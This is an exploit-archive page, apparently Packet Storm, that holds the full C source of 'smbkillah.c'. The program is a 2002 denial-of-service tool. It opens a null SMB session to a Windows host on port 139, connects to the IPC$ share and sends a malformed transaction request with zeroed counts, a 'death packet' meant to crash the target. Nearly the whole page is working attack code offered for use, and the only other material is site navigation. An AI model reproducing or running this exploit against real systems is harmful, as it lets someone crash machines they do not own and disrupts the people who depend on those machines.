what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

smbkillah.c

smbkillah.c
Posted Sep 4, 2002
Authored by b0uNtYkI113r

Smbkillah.c exploits the SMB death bug in the WinXX OS.

tags | exploit
SHA-256 | 640d132863cb7924714e5d0d18c4f4e4b06760e757e8cadfb996390bb417dabb

smbkillah.c

Change Mirror Download
/*********************************************************************
*
* smbkiller.c - Written by b0uNtYkI113r, with code borrowed from
* RFParalyze.c written by rain forest puppy (rfp@wiretrip.net)
*
* This code was created after analyzing a packet capture of the
* SMBDie.exe program written by RedButton found on
* packetstorm.decepticons.org. It has a couple of shortcomings
* (like limited to 32 chars in the hostname, check to see if the
* host died) but it does the trick...
*
* Basically what happens:
* - Establish a connection to the IPC$ share on the target host
* - Send the death packet (transaction request with counts all
* zero)
*
* This has been compiled with Visual C++ on win2k and win98 and
* gcc on SunOS and Linux. I haven't actually run it on the *nix
* platforms because I don't have a good testbed but it runs like
* a champ on windows. Should have no problems running it on *nix.
* If you compile for windows without Visual C++, just make sure
* that WIN32 has been defined as a preproccessor directive, this
* will include the code that it needs to run under windows.
*
*********************************************************************/

#ifdef WIN32
#include <windows.h>
#else
#define SOCKET int
#define SOCKET_ERROR -1
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/uio.h>
#endif
#include <stdio.h>

#define TARGET_PORT 139
char *TARGET_HOST = NULL;
char *TARGET_HOST_IP = NULL;

/* Netbios header, included in all Net Bios network packets */
typedef struct NetBiosHeader_S {
char messageType; /* Type of netbios message */
char flags;
char length[2]; /* Length of this netbios packet */
} NetBiosHeader;

/* Structure to connect and start a netbios session */
typedef struct NBSessionRequest_S
{
char space1;
char destname[32]; /* Destination computer */
char null;
char space2;
char srcname[32]; /* Source computer */
char end[5];
} NBSessionRequest;

/* Header structure for the Server Message Block (SMB) protocol
included in all smb protocol transactions
*/
typedef struct SMBHeader_S {
char serverComponent[4]; /* Always \xFFSMB */
char command;
char errorClass;
char reserved1;
char errorCode[2];
char flags;
char flags2[2];
char reserved2[12];
char treeID[2];
char processID[2];
char userID[2];
char multiplexID[2];
} SMBHeader;

/* Some nice constants for setting up a SMB header record */
#define HEADER_PROTOCOL_REQUEST 0x1
#define HEADER_SESSION_SETUP 0x2
#define HEADER_TREE_CONNECT 0x3
#define HEADER_TRANSACTION_REQUEST 0x4

/* Structure to negotiate a common protocol between the target host
and the source host */
typedef struct NegotiateProtocol_S {
char wordCount;
char byteCount[2];
char dialects[130];
} NegotiateProtocol;

/* List of dialects that this program can speak */
char dialects[] =
"\x02PC NETWORK PROGRAM 1.0\x00"
"\x02MICROSOFT NETWORKS 1.03\x00"
"\x02MICROSOFT NETWORKS 3.0\x00"
"\x02LANMAN1.0\x00"
"\x02LM1.2X002\x00"
"\x02Samba\x00"
"\x02NT LM 0.12\x00"
"\x02NT LANMAN 1.0\x00";

/* Structure used to establish a null session on the
target host */
typedef struct SessionSetup_S {
char wordCount;
char andXCommand;
char reserved1;
char andXOffset[2];
char maxBufferCount[2];
char maxMpxCount[2];
char vcNumber[2];
char sessionKey[4];
char ansiPasswordLen[2];
char unicodePasswordLen[2];
char reserved2[4];
char capabilities[4];
char byteCount[2];
char ansiPassword;
char account;
char domain[10];
char nativeOS[5];
char nativeLan[6];
} SessionSetup;

/* Structure to actually connect to the IPC$ share */
typedef struct TreeConnect_S {
char wordCount;
char andXCommand;
char reserved1;
char andXOffset[2];
char flags[2];
char passwordLen[2];
char byteCount[2];
char password;
} TreeConnect;

/* This is the actual death packet, just set all
the count fields to zero and watch the fun */
typedef struct TransactionRequest_S {
char wordCount;
char totalParamCount[2];
char totalDataCount[2];
char maxParamCount[2];
char maxDataCount[2];
char maxSetupCount;
char reserved1;
char flags[2];
char timeout[4];
char reserved2[2];
char paramCount[2];
char paramOffset[2];
char dataCount[2];
char dataOffset[2];
char setupCount;
char reserved3;
char byteCount[2];
char transactionName[13];
char parameters[19];
} TransactionRequest;

/* This function fills in the data for an SMB header
structure based on what type of message we're sending */
void populateSMBHeader(SMBHeader *sh, int header_type) {
memset(sh, 0, sizeof(SMBHeader));

memcpy(sh->serverComponent, "\xFF\x53\x4D\x42", 4);

switch(header_type) {
case HEADER_PROTOCOL_REQUEST :
sh->command = '\x72';
memcpy(sh->processID, "\xED\x18", 2);
memcpy(sh->multiplexID, "\x51\x19", 2);
break;

case HEADER_SESSION_SETUP :
sh->command = '\x73';
memcpy(sh->flags2, "\x01\x00", 2);
memcpy(sh->processID, "\x01\x04", 2);
memcpy(sh->multiplexID, "\x65\x04", 2);
break;

case HEADER_TREE_CONNECT :
sh->command = '\x75';
sh->flags = '\x18';
memcpy(sh->flags2, "\x01\x20", 2);
memcpy(sh->processID, "\x00\x28", 2);
memcpy(sh->userID, "\x00\x08", 2);
break;

case HEADER_TRANSACTION_REQUEST :
sh->command = '\x25';
memcpy(sh->treeID, "\x00\x08", 2);
memcpy(sh->processID, "\x24\x04", 2);
memcpy(sh->userID, "\x00\x08", 2);
break;

}
}

/* Fill in the negotiate protocol data structure */
void populateNegotiateProtocol(NegotiateProtocol *np) {
memset(np, 0, sizeof(NegotiateProtocol));
memcpy(np->byteCount, "\x81\x00", 2);
memcpy(np->dialects, dialects, sizeof(dialects));
}

/* Fill in the session setup data structure */
void populateSessionSetup(SessionSetup *ss) {
memset(ss, 0, sizeof(SessionSetup));
ss->wordCount = '\x0D';
ss->andXCommand = '\xFF';
memcpy(ss->maxBufferCount, "\xFF\xFF", 2);
memcpy(ss->maxMpxCount, "\x02\x00", 2);
memcpy(ss->vcNumber, "\x01\x04", 2);
memcpy(ss->ansiPasswordLen, "\x01\x00", 2);
memcpy(ss->byteCount, "\x17\x00", 2);
memcpy(ss->domain, "WORKGROUP\x00", 10);
memcpy(ss->nativeOS, "Unix\x00", 5);
memcpy(ss->nativeLan, "Samba\x00", 6);
}

/* Fill in the tree connect structure */
void populateTreeConnect(TreeConnect *tc) {
memset(tc, 0, sizeof(TreeConnect));
tc->wordCount = '\x04';
tc->andXCommand = '\xFF';
memcpy(tc->passwordLen, "\x01\x00", 2);
memcpy(tc->byteCount, "\x14\x00", 2);
}

/* Fill in the transaction request structure */
void populateTransactionRequest(TransactionRequest *tr) {
memset(tr, 0, sizeof(TransactionRequest));
tr->wordCount = '\x0E';
memcpy(tr->totalParamCount, "\x13\x00", 2);
memcpy(tr->paramCount, "\x13\x00", 2);
memcpy(tr->paramOffset, "\x4C\x00", 2);
memcpy(tr->dataOffset, "\x5F\x00", 2);
memcpy(tr->byteCount, "\x20\x00", 2);
memcpy(tr->transactionName, "\\PIPE\\LANMAN\x00", 13);
memcpy(tr->parameters,
"\x68\x00\x57\x72\x4C\x65\x68\x00\x42\x31\x33\x42\x57\x7A\x00\x01\x00\xE0\xFF",
19);
}

/* Sends a netbios message to the target */
int sendNBMessage(SOCKET s, char msgtype, char *data, int len, char *buffer,
int buflen, int waitreturn) {
NetBiosHeader nbh;
int r, totalSize = sizeof(NetBiosHeader) + len, offset =
sizeof(NetBiosHeader);
char *sendBuffer = NULL;

/* Setup the NetBios header structure */
nbh.messageType = msgtype;
nbh.flags = '\x00';
nbh.length[0] = ((char*)&len)[1];
nbh.length[1] = ((char*)&len)[0];

/* Setup a buffer to contain the entire message */
sendBuffer = (char*) malloc(totalSize);
memcpy(sendBuffer, &nbh, sizeof(NetBiosHeader));
memcpy(sendBuffer + offset, data, len);

/* Send the data to the host */
send(s, sendBuffer, totalSize, 0);
free(sendBuffer);

/* Receive any return data */
if(waitreturn)
r = recv(s, buffer, buflen, 0);
else
r = 0;

return r;
}

/* Pads out the netbios name in a session request,
props to rain forest puppy (rfp@wiretrip.net)
and his RFPParalyze.c code on el8.org for this
function */
void Pad_Name(char *name1, char *name2)
{ char c, c1, c2;
int i, len;

len = strlen(name1);

for (i = 0; i < 16; i++) {

if (i >= len) {
c1 = 'C'; c2 = 'A'; /* CA is a space */
}
else {
c = name1[i];
c1 = (char)((int)c/16 + (int)'A');
c2 = (char)((int)c%16 + (int)'A');
}

name2[i*2] = c1;
name2[i*2+1] = c2;

}

name2[32] = 0; /* Put in the null ...*/
}

/* Prints out an error message and exits the program */
void handleError(char *msg) {
printf("ERROR: %s\n", msg);
#ifdef WIN32
WSACleanup();
#endif
exit(1);
}

/* Connect to the target host */
SOCKET connectToHost() {
/* Lookup the host information */
struct sockaddr_in sa;
char errbuf[256];
SOCKET s;

/* Create the socket */
s = socket(AF_INET, SOCK_STREAM, 0);

sa.sin_family = AF_INET;
sa.sin_port = htons(TARGET_PORT);
sa.sin_addr.s_addr = inet_addr(TARGET_HOST_IP);

/* Connect to the target host */
if(connect(s, (struct sockaddr*)&sa, sizeof(sa)) == SOCKET_ERROR) {
sprintf(errbuf, "Unable to connect to %s on port %d...\n", TARGET_HOST,
TARGET_PORT);
handleError(errbuf);
}

return s;
}

/* Connect to a null session on the target computer */
int connectSession(SOCKET s) {
/* Setup the initial SMB request */
char myname[33], target[33], buf[4000];
NBSessionRequest smbreq;
int x;

Pad_Name("", myname);
myname[30] = 'A';
myname[31] = 'A';

Pad_Name(TARGET_HOST, target);

memset(buf,0,4000);

/* Setup the session request data elements */
smbreq.space1 = '\x20';
smbreq.space2 = '\x20';
smbreq.null = '\x00';
memcpy(smbreq.end,"\x00\x00\x00\x00\x00",5);
memcpy(smbreq.srcname, myname, 32);
memcpy(smbreq.destname, target, 32);

/* Send the session request */
x = sendNBMessage(s, '\x81', (char*)&smbreq,
sizeof(NBSessionRequest), buf, 4000, 1);

if(x < 1) {
handleError("Problem, didn't get response\n");
}

if(buf[0] == '\x82')
return 0; /* Got an OK from the host */
else
return 1; /* Non-OK message, return error */
}

/* Send protocol information to the host */
int setupProtocols(SOCKET s) {
SMBHeader smbh;
NegotiateProtocol np;
int x, totalSize = sizeof(SMBHeader) + sizeof(NegotiateProtocol);
char buf[4000], sendBuf[sizeof(SMBHeader) + sizeof(NegotiateProtocol)];

populateSMBHeader(&smbh, HEADER_PROTOCOL_REQUEST);
populateNegotiateProtocol(&np);

memcpy(sendBuf, &smbh, sizeof(SMBHeader));
memcpy(sendBuf + sizeof(SMBHeader), &np, sizeof(NegotiateProtocol));

x = sendNBMessage(s, '\x00', sendBuf, totalSize, buf, 4000, 1);

if(x >= 1)
return 0;
else
return 1;
}

/* Setup the actual session, this returns a user id to be used
in subsequent calls to the target */
int setupSession(SOCKET s, int *userID) {
SMBHeader smbh;
SessionSetup ss;
int x, totalSize = sizeof(SMBHeader) + sizeof(SessionSetup), temp = 0;
char buf[4000], sendBuf[sizeof(SMBHeader) + sizeof(SessionSetup)];

populateSMBHeader(&smbh, HEADER_SESSION_SETUP);
populateSessionSetup(&ss);

memcpy(sendBuf, &smbh, sizeof(SMBHeader));
memcpy(sendBuf + sizeof(SMBHeader), &ss, sizeof(SessionSetup));

x = sendNBMessage(s, '\x00', sendBuf, totalSize, buf, 4000, 1);

/* Make sure we got some data back */
if(x >= 1) {
/* Retrieve the user id from the returned data */
memcpy(&smbh, buf + sizeof(NetBiosHeader), sizeof(SMBHeader));
if(smbh.errorCode[0] != '\x00')
return 1;

((char*)&temp)[0] = smbh.userID[0];
((char*)&temp)[1] = smbh.userID[1];

*userID = temp;

return 0;
}
else
return 1;
}

/* Connect to the IPC$ share, this returns a tree id to be used
in the subsequent transaction call */
int connectTree(SOCKET s, int userID, int *treeID) {
SMBHeader smbh;
TreeConnect tc;
int x, totalSize, temp = 0, hostlen = 0, byteCount = 0;
char buf[4000], *sendBuf = NULL;

populateSMBHeader(&smbh, HEADER_TREE_CONNECT);
populateTreeConnect(&tc);

smbh.userID[0] = ((char*)&userID)[0];
smbh.userID[1] = ((char*)&userID)[1];

/* Put in the host information */
sprintf(buf, "\\\\%s\\IPC$", TARGET_HOST);
hostlen = strlen(buf) + 1;
byteCount = hostlen + 6;
totalSize = sizeof(SMBHeader) + sizeof(TreeConnect) + hostlen + 5;
sendBuf = (char*)malloc(totalSize);

/* Set the byte count of this message */
tc.byteCount[0] = ((char*)&byteCount)[0];
tc.byteCount[1] = ((char*)&byteCount)[1];

/* Copy all the data to a buffer to send it */
memcpy(sendBuf, &smbh, sizeof(SMBHeader));
memcpy(sendBuf + sizeof(SMBHeader), &tc, sizeof(TreeConnect));
memcpy(sendBuf + sizeof(SMBHeader) + sizeof(TreeConnect), buf, hostlen);
memcpy(sendBuf + sizeof(SMBHeader) + sizeof(TreeConnect) + hostlen,
"IPC\x00\x00", 5);

x = sendNBMessage(s, '\x00', sendBuf, totalSize, buf, 4000, 1);

/* Make sure we got some data back */
if(x >= 1) {
memcpy(&smbh, buf + sizeof(NetBiosHeader), sizeof(SMBHeader));
if(smbh.errorCode[0] != '\x00')
return 1;

/* Extract the tree ID from the returned message */
((char*)&temp)[0] = smbh.treeID[0];
((char*)&temp)[1] = smbh.treeID[1];

*treeID = temp;

return 0;
}
else
return 1;
}

/* Send the actual death packet call, using the user id and
tree id we got back from the server */
void sendTransaction(SOCKET s, int userID, int treeID) {
SMBHeader smbh;
TransactionRequest tr;
int totalSize = sizeof(SMBHeader) + sizeof(TransactionRequest);
char buf[4000], sendBuf[sizeof(SMBHeader) + sizeof(TransactionRequest)];

populateSMBHeader(&smbh, HEADER_TRANSACTION_REQUEST);
populateTransactionRequest(&tr);

/* Set the user id and tree id */
smbh.userID[0] = ((char*)&userID)[0];
smbh.userID[1] = ((char*)&userID)[1];
smbh.treeID[0] = ((char*)&treeID)[0];
smbh.treeID[1] = ((char*)&treeID)[1];

/* Copy all the data to a buffer to send */
memcpy(sendBuf, &smbh, sizeof(SMBHeader));
memcpy(sendBuf + sizeof(SMBHeader), &tr, sizeof(TransactionRequest));

sendNBMessage(s, '\x00', sendBuf, totalSize, buf, 4000, 0);
}

int main(int argc, char *argv[]) {
SOCKET s;
#ifdef WIN32
WSADATA wd;
WORD wVersionRequested = MAKEWORD( 2, 2 );
#endif
char buf[256];
int userID, treeID;

printf("SMB Killer v0.1\nWritten by the b0uNtYkI113r\n");

if(argc != 3) {
printf("Usage: %s <target host name> <target host ip>\n", argv[0]);
return 0;
}

TARGET_HOST = argv[1];
TARGET_HOST_IP = argv[2];

#ifdef WIN32
/* Load the winsock library (Winblows only) */
if(WSAStartup(wVersionRequested, &wd) != 0) {
printf("Could not initialize Winsock services!\n");
return 0;
}
#endif

/* Connect to the target host */
if((s = connectToHost()) != SOCKET_ERROR)
printf("Connected to %s on port %d\n", TARGET_HOST, TARGET_PORT);

/* Create a session */
if(!connectSession(s))
printf("Session connected...\n");
else {
sprintf(buf, "Unable to connect to session with host %s...\n",
TARGET_HOST);
handleError(buf);
}

/* Setup the protocol to be used for death */
if(!setupProtocols(s))
printf("Protocols negotiated...\n");
else
handleError("Unable to negotiate protocols...\n");

/* Setup the session and get a user id */
if(!setupSession(s, &userID))
printf("Session connected and established, User ID: %d...\n", userID);
else
handleError("Unable establish session...\n");

/* Connect to the IPC$ share and get a tree id */
if(!connectTree(s, userID, &treeID))
printf("Connected to \\\\%s\\IPC$ session, Tree ID: %d...\n",
TARGET_HOST, treeID);
else {
sprintf(buf, "Unable to connect to \\\\%s\\IPC$ session...\n",
TARGET_HOST);
handleError(buf);
}

/* Send the actual death packet */
sendTransaction(s, userID, treeID);
printf("SMB killer packet sent!\n");


#ifdef WIN32
/* Unload the winsock library (Winblows only) */
WSACleanup();
#endif

return 0;
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close